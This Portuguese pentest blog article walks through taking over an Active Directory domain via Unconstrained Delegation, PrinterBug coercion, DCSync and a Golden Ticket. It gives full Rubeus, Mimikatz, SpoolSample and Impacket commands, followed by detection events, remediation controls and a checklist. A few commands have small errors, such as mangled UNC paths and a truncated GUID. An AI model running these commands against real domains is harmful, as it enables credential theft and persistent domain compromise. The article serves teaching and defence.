Pentest 
Red Team 
Security Review 
Vantico 
Resumo:
- A cadeia de ataque via Unconstrained Delegation combina configurações inadequadas, coerção de autenticação e uso indevido de funcionalidades legítimas do Active Directory para comprometer o domínio.
- O BloodHound identifica máquinas vulneráveis e o caminho mais curto até elas a partir de qualquer usuário comum.
- O PrinterBug força o Domain Controller a se autenticar na máquina vulnerável via MS-RPRN, entregando seu TGT automaticamente ao listener.
- Com o Spooler desativado, PetitPotam, DFSCoerce e ShadowCoerce oferecem vetores equivalentes, tornando a mitigação isolada do PrinterBug insuficiente.
- Patching e EDR não resolvem: a remediação exige remover Unconstrained Delegation, desativar o Spooler nos DCs e adicionar contas privilegiadas aos Protected Users.
Durante a execução de um pentest em ambiente de rede corporativa, foi identificado um sistema com a configuração de Unconstrained Delegation habilitada. Essa vulnerabilidade de severidade média foi convertida em um vetor de entrada para o comprometimento total do domínio: extração do TGT (Ticket Granting Ticket) do Controlador de Domínio por meio da técnica PrinterBug, execução de DCSync com as credenciais obtidas e acesso com privilégios de Domain Admin mediante a criação de um Golden Ticket.
Este artigo documenta cada etapa da cadeia de ataque, o raciocínio por trás de cada decisão tomada durante o processo e as medidas que as empresas devem adotar para detectar e mitigar esse vetor de comprometimento.
Visão geral da chain: quatro passos, um domínio comprometido
A chain documentada começa com o acesso de usuário comum autenticado no domínio. Sem nenhum privilégio administrativo, sem explorações de vulnerabilidade de software, sem credenciais de serviço.
O que gera essa chain é uma falha de configuração arquitetural do Active Directory que existe em domínios reais com frequência. A combinação de Unconstrained Delegation habilitado em uma máquina, o recurso PrinterBug do protocolo MS-RPRN e a ausência de monitoramento adequado cria um caminho direto para Domain Admin.
Etapas:
1. Enumeração: encontrar máquinas com Unconstrained Delegation
Identificar computadores no domínio com o atributo TrustedForDelegation habilitado usando LDAP queries ou ferramentas como PowerView e BloodHound. Qualquer conta autenticada no domínio pode fazer essa enumeração.
2. Preparação: configurar listener na máquina com Unconstrained Delegation
Obter acesso administrativo local na máquina com Unconstrained Delegation (via compromisso de credencial local, escalada de privilégio ou vulnerabilidade de serviço). Iniciar Rubeus em modo monitor para capturar TGTs que chegarem.
3. Gatilho: forçar o Domain Controller a autenticar na máquina alvo
Usar PrinterBug (MS-RPRN SpoolSample) para forçar o Domain Controller a fazer uma autenticação Kerberos na máquina com Unconstrained Delegation. O TGT do DC chega automaticamente e é capturado pelo listener.
4. Escalada: DCSync com o TGT do DC para extrair todos os hashes
Importar o TGT capturado do DC para a sessão atual. Usar as credenciais do DC para executar DCSync e extrair o hash NTLM do krbtgt e de todos os usuários privilegiados. Forjar Golden Ticket para acesso persistente.
Como definir entre risco “crítico” e “alto”
Isolado, o Unconstrained Delegation em uma máquina não-DC é de alto risco. Combinada com PrinterBug e a ausência de Protected Users Group para contas privilegiadas, a severidade é efetiva e crítica, já que é gerado o comprometimento total do domínio a partir de uma única máquina.
Entendendo o mecanismo: Kerberos Delegation
O protocolo Kerberos autentica usuários via tickets. Quando um usuário se autentica, o KDC (Key Distribution Center, rodando no Domain Controller) emite um TGT (Ticket Granting Ticket): um ticket criptografado que prova a identidade do usuário sem precisar reenviar a senha.
Quando esse usuário precisa acessar um serviço (por exemplo, um servidor web), ele apresenta o TGT ao KDC e recebe um TGS (Ticket Granting Service) específico para aquele serviço. O servidor web vê o TGS e sabe que o usuário é autenticado.
O problema surge quando o servidor web precisa, em nome do usuário, acessar outro serviço, como um banco de dados. O servidor web não tem as credenciais do usuário. Para resolver isso, o Kerberos tem o mecanismo de delegação: o usuário permite que o servidor atue em seu nome.
Os três tipos de delegação e seus riscos
| Tipo | Como funciona | Risco |
| Unconstrained Delegation | A máquina pode se autenticar como qualquer usuário em qualquer serviço do domínio. O TGT completo do usuário é armazenado na máquina. | Crítico: qualquer TGT que chega pode ser reutilizado para personificar qualquer usuário, incluindo o DC. |
| Constrained Delegation | A máquina pode se autenticar como qualquer usuário, mas apenas em serviços específicos pré-definidos. Pode ser com ou sem protocolo de transição. | Alto: mais restrito, mas ainda abusável via S4U2Self/S4U2Proxy dependendo da configuração. |
| Resource-Based Constrained | O serviço de destino controla quem pode delegar para ele, não o serviço de origem. Configurado via atributo msDS-AllowedToActOnBehalfOfOtherIdentity. | Médio: abusivo se o atacante controla atributos de conta de computador no AD (RBCD attack). |
Por que Unconstrained Delegation armazena o TGT completo
Quando Unconstrained Delegation está habilitado em uma máquina, e um usuário se autentica nessa máquina, o KDC inclui o TGT completo do usuário no TGS que é enviado para a máquina. Isso permite que a máquina use esse TGT para personificar o usuário em qualquer serviço do domínio. O TGT fica armazenado na LSASS da máquina.
Caso um Domain Controller se autentique em uma máquina com Unconstrained Delegation, o TGT completo do DC chega à LSASS dessa máquina. E um TGT de DC é o objeto mais valioso do domínio, pois permite fazer DCSync, que extrai todos os hashes de senha do Active Directory.
Passo 1: Encontrando máquinas com Unconstrained Delegation
A enumeração é o primeiro passo e pode ser feita com qualquer conta autenticada no domínio. O atributo que identifica Unconstrained Delegation e o flag TRUSTED_FOR_DELEGATION no objeto de computador no Active Directory, ou o atributo TrustedForDelegation como True. Domain Controllers sempre têm esse flag habilitado, isso é esperado e correto. O alvo é encontrar máquinas não-DC com esse flag habilitado.
// PowerShell / LDAP
Enumeração de máquinas com Unconstrained Delegation
- Método 1: PowerView (PowerShell)
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation,Description |
Where-Object { $_.DistinguishedName -notlike "*Domain Controllers*" } |
Select-Object Name, OperatingSystem, Description, TrustedForDelegation
- Método 2: LDAP query direta via PowerShell
([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))").FindAll() |
ForEach-Object {
$_.Properties['dnshostname']
$_.Properties['operatingsystem']
}
- Método 3: BloodHound – Query Cypher
# No BloodHound: Custom Query
# MATCH (c:Computer {unconstraineddelegation:true})
# WHERE NOT c.name CONTAINS "DC"
# RETURN c.name, c.operatingsystem
- Método 4: ldapsearch (Linux)
ldapsearch -x -H ldap://DC_IP -D "usuário@dominio.local" -W -b "DC=dominio,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dnshostname operatingsystem
O que procurar nos resultados:
- Servidores de aplicação (web, ERP, banco)
- Servidores de arquivo (file servers)
- Qualquer servidor que não seja DC mas tem o flag habilitado
Cada um desses é um potencial ponto de abuso.
Interpretando o resultado no BloodHound
O BloodHound disponibiliza uma consulta nativa específica para identificar sistemas com Unconstrained Delegation habilitado: “Find Computers with Unconstrained Delegation”. Além de listar as máquinas vulneráveis, o BloodHound mostra quem tem acesso administrativo local a essas máquinas, qual é o menor caminho de um usuário comum até elas, e quais Domain Admins autenticam frequentemente nessas máquinas.
Através do BloodHound também é possível entender se existe um caminho de um usuário comum até uma conta com admin local na máquina vulnerável. Se sim, a chain é viável. No engajamento que documentamos, o caminho era: conta de usuário comum > grupo local de TI > admin local no servidor de aplicação > TrustedForDelegation habilitado.
Passo 2: Posicionamento na máquina e listener de TGTs
Com uma máquina vulnerável identificada e acesso administrativo local obtido (seja por credential stuffing, escalada de privilégio ou vulnerabilidade de serviço), o próximo passo é posicionar um listener de TGTs que irá capturar automaticamente qualquer ticket que chegar à máquina.
Configurando o Rubeus em modo monitor
O Rubeus é a ferramenta padrão para manipulação de Kerberos em Windows. O comando tgtdeleg e monitor permitem, respectivamente, interagir com o cache de tickets e monitorar novos tickets que chegam. O modo monitor fica em loop, imprimindo em base64 qualquer novo TGT que apareça no cache da LSASS, incluindo TGTs de outras contas que chegarem via Unconstrained Delegation.
// Rubeus / Mimikatz
Executar na máquina com Unconstrained Delegation (como SYSTEM ou admin local)
O Rubeus precisa de privilégios elevados para acessar o cache de tickets do sistema.
- Iniciar listener em modo monitor
# /interval:5 = verificar a cada 5 segundos # /targetuser:DC$ = filtrar apenas tickets da conta de computador do DC Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
- Saída esperada quando um ticket chegar:
# Action: Monitor # [*] 14/05/2025 14:35:02 UTC - Found new TGT: # User : DC01$@DOMINIO.LOCAL # StartTime : 14/05/2025 14:35:02 # EndTime : 15/05/2025 00:35:02 # RenewTill : 21/05/2025 14:35:02 # Flags : name_canonicalize, pre_authent, initial, renewable, forwardable # Base64EncodedTicket : # doIFMjCCBSygAwIBBaEDAgEWo....[ticket em base64]...
Alternativa: dump do cache atual (sem esperar novos tickets)
- Se o DC já se autenticou antes de iniciar o monitor:
Rubeus.exe dump /luid:0x3e4 /nowrap
- Mimikatz equivalente:
privilege::debug sekurlsa::tickets /export
Exporta todos os tickets para arquivos .kirbi na pasta atual.
Por que precisamos do system
O cache de TGTs da LSASS é acessível apenas por processos com privilégio SYSTEM. Isso significa que para capturar TGTs de outras contas, o atacante precisa ter escalado para SYSTEM ou admin local primeiro. Essa é uma das defesas em profundidade: separar o comprometimento do host do comprometimento do domínio.
Passo 3: PrinterBug: forçando o Domain Controller a autenticar
Com o listener ativo na máquina vulnerável, agora é necessário forçar o Domain Controller a fazer uma autenticação Kerberos nessa máquina. Quando o DC se autenticar, o seu TGT chegará automaticamente e será capturado pelo Rubeus.
O PrinterBug (também chamado de SpoolSample) é uma característica do protocolo MS-RPRN (Microsoft Remote Procedure Call Print System Remote Protocol). Esse protocolo tem uma função chamada RpcRemoteFindFirstPrinterChangeNotification que força o servidor que recebe a chamada a fazer um callback autenticado para o servidor que fez a chamada original.
Na prática: se você chamar essa função no Domain Controller, pedindo que ele notifique a máquina vulnerável sobre mudanças de impressora, o DC vai se autenticar na máquina vulnerável.
Executando o SpoolSample / PrinterBug
// SpoolSample / Coercer
SpoolSample: ferramenta de Lee Christensen (@tifkin_)
Objetivo: formar DC01 a autenticar em MAQUINA_VULNERAVEL
- Sintaxe: SpoolSample.exe <alvo_que_vai_autenticar> <receptor>
SpoolSample.exe DC01.dominio.local MAQUINA_VULNERAVEL.dominio.local
- Alternativa via Python (Linux):
python3 printerbug.py dominio.local/usuário:senha@DC01.dominio.local MAQUINA_VULNERAVEL
- Alternativa via Impacket:
python3 dementor.py -d dominio.local -u usuário -p senha DC01.dominio.local MAQUINA_VULNERAVEL
- O que acontece internamente:
# 1. Atacante chama RpcRemoteFindFirstPrinterChangeNotification no DC01 # 2. O DC01 processa o pedido e tenta notificar MAQUINA_VULNERAVEL # 3. Para notificar, o DC01 precisa se autenticar em MAQUINA_VULNERAVEL # 4. DC01 faz autenticação Kerberos: TGT completo do DC01 vai para MAQUINA_VULNERAVEL # 5. Rubeus captura o TGT e exibe em base64
- Verificar se o Spooler está ativo no DC:
# (necessário para o PrinterBug funcionar) sc.exe \DC01.dominio.local query spooler # STATUS: RUNNING -> PrinterBug viável # STATUS: STOPPED -> tentar outros vetores de coerção
Alternativas ao PrinterBug se o Spooler estiver desativado:
- PetitPotam (MS-EFSRPC) – formação de autenticação via EFS
- DFSCoerce (MS-DFSNM) – via DFS Namespace protocol
- ShadowCoerce (MS-FSRVP) – via shadow copy
- Coercer coerce -u usuário -p senha -d domínio.local -t DC01 -l MAQUINA_VULNERAVEL
Outros métodos de coerção de autenticação
O PrinterBug é o mais conhecido, mas não é o único. Quando o Spooler do DC está desativado (o que algumas organizações fazem especificamente para mitigar o PrinterBug), existem alternativas:
- PetitPotam (CVE-2021-36942): usa o protocolo MS-EFSRPC para forçar a autenticação. Mais abrangente que o PrinterBug. Parcialmente mitigado pelo patch MS KB5005413, mas ainda funcional em muitos ambientes.
- DFSCoerce: usa o protocolo MS-DFSNM (DFS Namespace Management). Menos conhecido e menos monitorado. Funciona mesmo com o Spooler desativado.
- ShadowCoerce: usa MS-FSRVP (File Server Remote VSS Protocol). Requer que o serviço de shadow copy esteja ativo, mas funciona em muitos servidores de arquivo.
- Coercer: framework que testa automaticamente todos os métodos de coerção disponíveis. Útil para identificar qual método funciona no ambiente específico.
Passo 4: Importando o TGT do DC e executando DCSync
Com o TGT do Domain Controller capturado, o atacante tem em mãos a credencial mais poderosa do domínio. A conta de computador do DC (DC01$) tem permissões de replicação de diretório por design: ela precisa delas para sincronizar mudanças com outros DCs. Essas mesmas permissões são as que permitem ao DCSync simular uma requisição de replicação e receber todos os hashes de senha do Active Directory.
Importando o TGT e assumindo o contexto do DC
// Rubeus / Linux
- Passo 1: Copiar o ticket base64 capturado pelo Rubeus
# (saida do monitor: "Base64EncodedTicket: doIFMjCCBS...")
- Importar o ticket para a sessão atual (Pass-the-Ticket)
Rubeus.exe ptt /ticket:doIFMjCCBSygAwIBBaEDAgEWo...
- Verificar que o ticket foi importado corretamente:
klist
Deve mostrar o ticket do DC01$@DOMINIO.LOCAL na lista
- Alternativa: converter ticket base64 para arquivo .kirbi e importar
[System.Convert]::FromBase64String("doIFMj...") | Set-Content -Encoding Byte DC01.kirbi
Rubeus.exe ptt /ticket:DC01.kirbi
- Do Linux com o ticket em base64:
echo "doIFMj..." | base64 -d > DC01.ccache export KRB5CCNAME=DC01.ccache
Agora qualquer ferramenta Kerberos vai usar esse ticket.
Executando o DCSync
Com o contexto do DC01 ativo, agora é possível executar o DCSync. O DCSync não é uma vulnerabilidade: é uma funcionalidade legítima do Active Directory que permite a replicação de senhas entre Domain Controllers. O uso indevido acontece quando um usuário (ou no nosso caso, um ticket personificado do DC) usa essa funcionalidade para extrair hashes de qualquer conta, incluindo a conta krbtgt.
// Mimikatz / Secretsdump
DCSync com Mimikatz (no Windows, com o ticket PtT ativo)
- Extrair o hash do krbtgt (conta de Kerberos Ticket Granting Service)
O hash do krbtgt permite criar Golden Tickets
lsadump::dcsync /domain:dominio.local /user:krbtgt
- Extrair o hash de um usuário específico (ex: Domain Admin)
lsadump::dcsync /domain:dominio.local /user:Administrator
- Extrair TODOS os hashes do domínio
Atenção: operação ruidosa – gera muita atividade de replicação
lsadump::dcsync /domain:dominio.local /all /csv
- DCSync via Impacket no Linux (com o .ccache do DC)
export KRB5CCNAME=DC01.ccache secretsdump.py -k -no-pass dominio.local/DC01$@DC01.dominio.local
- Saída típica do DCSync para o krbtgt:
# [DC] 'dominio.local' will be the domain # [DC] 'DC01.dominio.local' will be the DC server # [DC] Exporting domain credentials # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:HASH_NT_DO_KRBTGT::: # ^^^^^^^^^^^^^^^^^^^^ # Este é o hash que permite Golden Ticket
- Hash extraído do Administrator:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:HASH_NT_DO_ADMIN:::
Golden Ticket: persistência após o comprometimento
O hash do krbtgt é o ativo mais valioso do domínio. Com ele, é possível criar Golden Tickets: TGTs completamente forjados que o KDC aceita como válidos porque estão assinados com a chave do krbtgt. Um Golden Ticket pode ser criado para qualquer usuário, com qualquer privilégio, e com validade de até 10 anos. Mesmo que a senha do Administrator seja alterada, o Golden Ticket continua válido até que o hash do krbtgt seja rotacionado.
// Mimikatz / Impacket
Criar Golden Ticket com Mimikatz
Necessário: domínio SID, hash do krbtgt.
- Obter o SID do domínio:
Get-ADDomain | Select-Object DomainSID
- Ou via DCSync: aparece na saída como “Domain SID: S-1-5-21-XXXXXXXXXX”
Criar Golden Ticket para o usuário Administrator
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:HASH_NT_DO_KRBTGT /id:500 /ptt
- Verificar o ticket forjado:
klist # Deve mostrar: Administrator@DOMINIO.LOCAL
- Testar acesso ao Domain Controller:
dir \DC01.dominio.localC$
Se listar o conteúdo: acesso como Domain Admin confirmado.
- Golden Ticket via Impacket (gera arquivo .ccache):
ticketer.py -nthash HASH_NT_DO_KRBTGT -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain dominio.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py dominio.local/Administrator@DC01.dominio.local -k -no-pass
Por que rotacionar o KRBTGT duas vezes
Quando o krbtgt é comprometido, a remediação correta é rotacionar o hash do krbtgt duas vezes seguidas. Isso porque o AD mantém o hash atual e o hash anterior para permitir replicação entre DCs. Se rotacionar apenas uma vez, Golden Tickets criados com o hash anterior ainda são válidos por um período.
Impacto real e como documentar a chain no relatório
A chain documentada resulta em comprometimento total do domínio Active Directory. Com o hash do krbtgt e Golden Tickets, o atacante tem controle completo de todos os sistemas no domínio. O impacto se estende a:
- Todos os sistemas Windows no domínio: acesso administrativo a qualquer servidor ou workstation.
- Todos os usuários e serviços: hashes NTLM de todas as contas, incluindo contas de serviço com senhas que não rotacionam há anos.
- Dados e aplicações: qualquer aplicação que usa autenticação de domínio está comprometida.
- Persistência difícil de remover: Golden Tickets válidos por até 10 anos sobrevivem à rotação de senha do Administrator.
Como estruturar o finding no relatório
TÍTULO:
Comprometimento Total de Domínio via Unconstrained Delegation e PrinterBug
Descrição:
O servidor SRVAPP01 possui o atributo TrustedForDelegation habilitado no Active Directory (Unconstrained Kerberos Delegation). Esta configuração permite que a máquina armazene TGTs completos de qualquer usuário que se autentique nela. Combinada com o PrinterBug (protocolo MS-RPRN), foi possível forçar o Domain Controller DC01 a se autenticar em SRVAPP01, resultando na captura do TGT da conta DC01$. Com este ticket, foi executado DCSync que extraiu os hashes NTLM de todas as contas do domínio, incluindo krbtgt.
CHAIN DE ATAQUE:
- Enumeração: conta de usuário comum identifica SRVAPP01 com TrustedForDelegation=True
- Acesso: [descrever como o acesso local foi obtido no SRVAPP01]
- Posicionamento: Rubeus.exe monitor iniciado aguardando TGTs
- Coerção: SpoolSample.exe DC01 SRVAPP01 forçou autenticação do DC
- Captura: TGT de DC01$ capturado e importado via Pass-the-Ticket
- DCSync: lsadump::dcsync /user:krbtgt extraiu hash do krbtgt
- Persistência: Golden Ticket criado com validade de 10 anos
IMPACTO:
Comprometimento total e persistente do domínio DOMÍNIO.LOCAL.
Todos os hashes de senha disponíveis. Golden Ticket permite reentrada mesmo após reset de senha do Administrator.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 (Crítico)
Evidências:
[Screenshot 1: Enumeração de máquinas com TrustedForDelegation]
[Screenshot 2: Rubeus capturando TGT do DC01$]
[Screenshot 3: DCSync retornando hash do krbtgt]
[Screenshot 4: dir \DC01C$ como Domain Admin]
Detecção: como identificar esse ataque acontecendo
Esta chain deixa rastros específicos nos logs do Windows e do SIEM. Nenhum passo é completamente silencioso, mas o tempo entre o primeiro sinal e o comprometimento total é curto.
Eventos do Windows a monitorar
// Event IDs / SIEM
Event IDs críticos para detecção desta chain:
- 1. Enumeração de Unconstrained Delegation (LDAP queries)
# Event ID 4662: An operation was performed on an object
Monitorar queries LDAP no DC com filtro incluindo:
# userAccountControl com flag 0x80000 (TRUSTED_FOR_DELEGATION)
- 2. PrinterBug / coerção de autenticação
# Event ID 4648: Logon attempt with explicit credentials # Event ID 4624: Successful logon, Logon Type 3 (Network) # Origem: DC01 -> Destino: SRVAPP01 (incomum: DC autenticando em servidor)
- 3. Captura e importação de TGT
# Event ID 4768: Kerberos Authentication Service ticket was requested # Ticket do DC01$ com Ticket Options incluindo forwardable+renewable # Event ID 4769: Kerberos Service ticket was requested # Origem incomum para a conta DC01$
- 4. DCSync
# Event ID 4662: Operation performed on object # Atributos: 1131f70-c369-11d2-d005-009027bb15d5 (Replicating Directory Changes All) # Origem: IP que não é um Domain Controller -> ANOMALO # Event ID 4741: Computer account changed (se usando conta de computador)
- 5. Pass-the-Ticket
# Event ID 4768: Kerberos TGT request # IP de origem diferente do esperado para a conta (DC01$ autenticando de SRVAPP01)
Query SIEM para detectar DCSync anômalo:
# EventID=4662 AND # AccessMask="0x100" AND # (Properties CONTAINS "1131f70-c369-11d2-d005-009027bb15d5" OR # Properties CONTAINS "19195a5b-6da0-11d0-afd3-00c04fd930c9") AND # SubjectDomainName != "<lista de DCs legítimos>"
Remediação e limitações
A remediação principal é remover Unconstrained Delegation de todas as máquinas que não são Domain Controllers. Mesmo sem Unconstrained Delegation, outras configurações do ambiente podem criar caminhos equivalentes.
| Controle | Como Implementar |
| Remover Unconstrained Delegation | AD Users and Computers > Propriedades do computador > Delegation > ‘Do not trust this computer for delegation’. Substituir por Constrained Delegation apenas para os serviços necessários. |
| Desativar o Spooler nos DCs | Services > Print Spooler > Disabled em todos os Domain Controllers. Elimina o PrinterBug especificamente. Group Policy: Computer Config > Services > Print Spooler > Disabled. |
| Protected Users Security Group | Adicionar contas privilegiadas (DA, EA, admins de tier 0) ao grupo Protected Users. Contas nesse grupo não podem ter tickets delegados, prevenindo a captura do TGT. |
| Marcar contas como ‘Account is sensitive’ | Para contas de serviço privilegiadas: Properties > Account > ‘Account is sensitive and cannot be delegated’. O KDC não incluirá o TGT nos tickets para essas contas. |
| Segmentação de Tier 0 | As contas de Domain Admin nunca devem autenticar em máquinas de Tier 1 ou 2. Enforcar via Authentication Silos e Authentication Policy no AD. |
| Rotação do krbtgt | Rotacionar o hash do krbtgt duas vezes periodicamente (ex: semestralmente) invalida todos os Golden Tickets existentes. Usar o script Reset-KrbtgtKeyInteractive da Microsoft. |
| Monitoramento de DCSync anômalo | Alertar no Event ID 4662 com atributos de replicação originados de IPs que não são Domain Controllers. Deve gerar alerta P1 imediato. |
Checklist: verificar se o ambiente e vulnerável
Enumeração
- Máquinas com TrustedForDelegation=True identificadas (exceto DCs).
- Número de máquinas com Unconstrained Delegation documentado.
- Caminhos de acesso a essas máquinas mapeados via BloodHound.
- Contas privilegiadas sem “Account is sensitive and cannot be delegated”.
- Contas DA/EA fora do grupo Protected Users.
Vetores de coerção
- Spooler ativo nos DCs verificado (sc.exe query spooler).
- PetitPotam testado: EFS service acessível remotamente nos DCs.
- DFSCoerce testado: DFS Namespace service ativo.
- Coercer o executado a verificar todos os vetores disponíveis.
Remediação
- Unconstrained Delegation removido de todas as máquinas não-DC.
- Spooler desativado nos DCs via Group Policy.
- Contas de DA e EA adicionadas ao Protected Users.
- Monitoramento de DCSync anômalo configurado no SIEM.
- Procedimento de rotação dupla do krbtgt documentado e testado.
A chain Unconstrained Delegation > PrinterBug > DCSync > Domain Admin é um dos caminhos de comprometimento mais refinados do Active Directory pois não explora nenhum software vulnerável. O uso indevido é uma consequência das configurações.
Isso tem uma implicação importante para a defesa: patching não resolve. Atualizar o Windows Server, aplicar todos os patches de segurança, usar EDR de última geração, nenhuma dessas medidas elimina esse caminho se Unconstrained Delegation ainda estiver habilitado e o Spooler ainda estiver ativo nos DCs.
Para os pentesters: BloodHound é a ferramenta que transforma essa chain de conceito teórico em finding documentado. A query Find Computers with Unconstrained Delegation seguida de Shortest Paths to Unconstrained Delegation Systems mostra em segundos se o ambiente é vulnerável e qual é o caminho mais curto para explorá-la. Para os defensores: Protected Users Group, desativação do Spooler nos DCs e monitoramento de DCSync anômalo são os três controles que, juntos, eliminam ou detectam essa chain completamente.
A chain documentada neste artigo foi identificada em um pentest interno conduzido pela Vantico. Todas as peças existiam em produção por anos sem que ninguém tivesse identificado possibilidades de comprometimento da máquina. O Unconstrained Delegation foi habilitado porque alguém configurou assim em 2018 para um sistema de single sign-on que já não existe mais. Contas de Domain Admin fora do Protected Users porque o grupo foi criado no Windows Server 2012 R2 e o ambiente foi atualizado sem revisão das configurações.
A Vantico mapeia essas configurações em cada ciclo de pentest interno e verifica, via BloodHound, se algum novo caminho para Domain Admin surgiu desde o último engajamento.
Conheça outros artigos técnicos da Vantico clicando aqui.
Siga a Vantico nas redes sociais e fique informado sobre tecnologia e insights da área.
